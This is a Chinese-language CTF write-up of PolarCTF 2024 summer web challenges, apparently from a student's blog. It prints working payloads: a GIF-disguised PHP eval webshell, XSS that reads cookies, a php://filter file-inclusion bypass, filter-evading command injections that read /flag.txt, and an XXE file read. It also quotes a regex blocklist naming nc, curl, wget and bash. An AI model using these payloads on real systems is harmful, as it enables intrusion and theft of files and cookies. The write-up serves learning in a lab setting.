Polarctf2024夏

本文最后更新于 2024年9月21日 下午

前言:比赛并没有参加,趁着复习期末写题目放松一会,学习学习知识。

Web

upload1

典型的一句话木马,按照流程来就行

直接上传一个图片,不能直接连接成功,试着传入htaccess限定只能上传图片那些,那估计就是改图片为php就行

upload

然后蚁剑连一下就可以了

upload1

疑惑:我尝试用jpg上传的时候改末尾并不能成功,看官p用的gif,

1
2
GIF89a
<script language='php'>eval($_POST['attack']);</script>

按道理也应该正常执行的,并不是很理解。

审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
no no no! <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if (isset($_GET['xxs'])) {
$input = $_GET['xxs'];

if (is_array($input)) {
die("错误:输入类型不允许为数组。");
}
if (!preg_match("/^0e[0-9]+$/", md5($input))) {
die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
}
if (!is_numeric($input)) {
die("错误:输入必须是数字。");
}

die("恭喜:".$flag);
} else {
die("错误:必须设置正确参数。");
}
?>
错误:必须设置正确参数。

先上源码,先审计一下代码,大体上应该就是关于md5的知识点

首先不能用数组绕过,然后要0e开头,最后md5加密后不能为数字,直接一把梭了,平时积累的md5加密等于自身就行

审计

扫扫看

提醒我们扫一下,用dirsearch扫一下得到flag.php,进去看看

扫

看一下源码,得到flag

扫1

debudao

内容,先看看源码,有个flag是假的(欸

尝试sql注入,好像也不是

尝试ssit注入,也不是

最后发现是xxe漏洞,这方面我还没怎么学,等暑假好好补补吧

先用下面的来测试一下,发现有弹窗

debudao

1
<script>alert(1)</script>

然后跟着wp写的

1
<script>alert(document.cookie)</script>

得不到1

爆出flag,用url解码就可以得到flag了

想法:按照这个方法的话其实好像可以直接用hackerbar看cookie那一栏,并不需要构造xxe,重新开一次容器发现方法并不可行,哈哈我自己想多了

Dragon

按照正常思路来走一遍,和上面的差不多但是都没有回显,最后得出也是xxe

1
<script>alert(1)</script>

也是用这个得到的但是不能正常弹窗,和官p学习了一下可以用img

1
<img src=0 onerror =alert(1)>

这样就可以正常的弹窗了,然后和上面的题目一样

1
<img src=0 onerror =alert(document.cookie)>

获取cookie值,url解码得到flag

感想:任何比赛都能让人找到自己的不足漏洞,之后一定要狠狠学学。

tnl

类型和前几题差不多,也试看看,尝试输入到3的时候会有报错,以为是sql注入,尝试万能语句并没有作用

也尝试了一下xxe也没有回显

用bp抓包看看,尝试利用伪协议得到index.php

tnl

这是尝试过后发现源码应该后面本身就包含了.php,得到了源码,base64解密一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</form>
<?php
error_reporting(0);
@$file = $_POST['twothree'];

if(isset($file))
{
if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
}
}
?>

看了源码可以得知这并不是sql注入,而是一个伪协议绕过的题目,输入1,2,index可以获得相应的内容

那么进行简单的构造,我也是第一次看到这种

1
twothree=php://filter/convert.base64-encode/index/resource=flag

tnl1

最后base64解密就可以得到flag了

你知道sys还能这样玩吗

根据提示进入sys.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
show_source(__FILE__);

if(isset($_POST['cmd'])){
echo "<pre>";
$cmd = $_POST['cmd'];
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
$output = system($cmd);
echo $output;
}
echo "</pre>";
}
?>

和国赛的那个有点类似

方法1:

尝试php -r来进行二次执行

1
cmd=php -r 'system(hex2bin("6c73202e2e2f"));'

查看

1
cmd=php -r 'system(hex2bin(ff3b636174202f666c61672e747874));'

ff是进行的一个绕过执行,否则得不到

方法2:

1
cmd=`printf "Y2F0IC8q"|bas""e64 -d`

这里看到一个师傅利用了printf和双引号绕过base64加密的方法得到了答案,也放在这,还是比较巧妙的

方法3:

上面几个都是借鉴的,还有一个办法就是八进制转化,之前写xyctf有一个和这样类似的,我就直接上payload了

1
cmd=$%27\143\141\164%27%3c$%27\57\146\154\141\147\56\164\170\164%27

详情可参考,文章,ezrce那个部分

ExX?

先搜看看flag{}有个假的flag,那再看看题目吧

尝试dirsearch扫描得到dom.php,出现了xml的报错很明显就是xxe的漏洞了,同天的lit比赛也是有一个题目是xxe

不知道原理直接上payload之后打算写一篇专题好好学习

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flagggg.php" >]>
<user>

<name>&xxe;</name>

</user>

最后base64解密就行

总结

剩下的题目都是考察java类的web题目,我还没学到也暂时没必要跟着复现了,总体来说题目也是较为友好的,自己还是要多复习多刷题,暂时就先到这了。


Polarctf2024夏
https://0ran9ewww.github.io/2024/06/09/polarctf/PolarCTF网络安全2024夏季个人挑战赛/
作者
orange
发布于
2024年6月9日
许可协议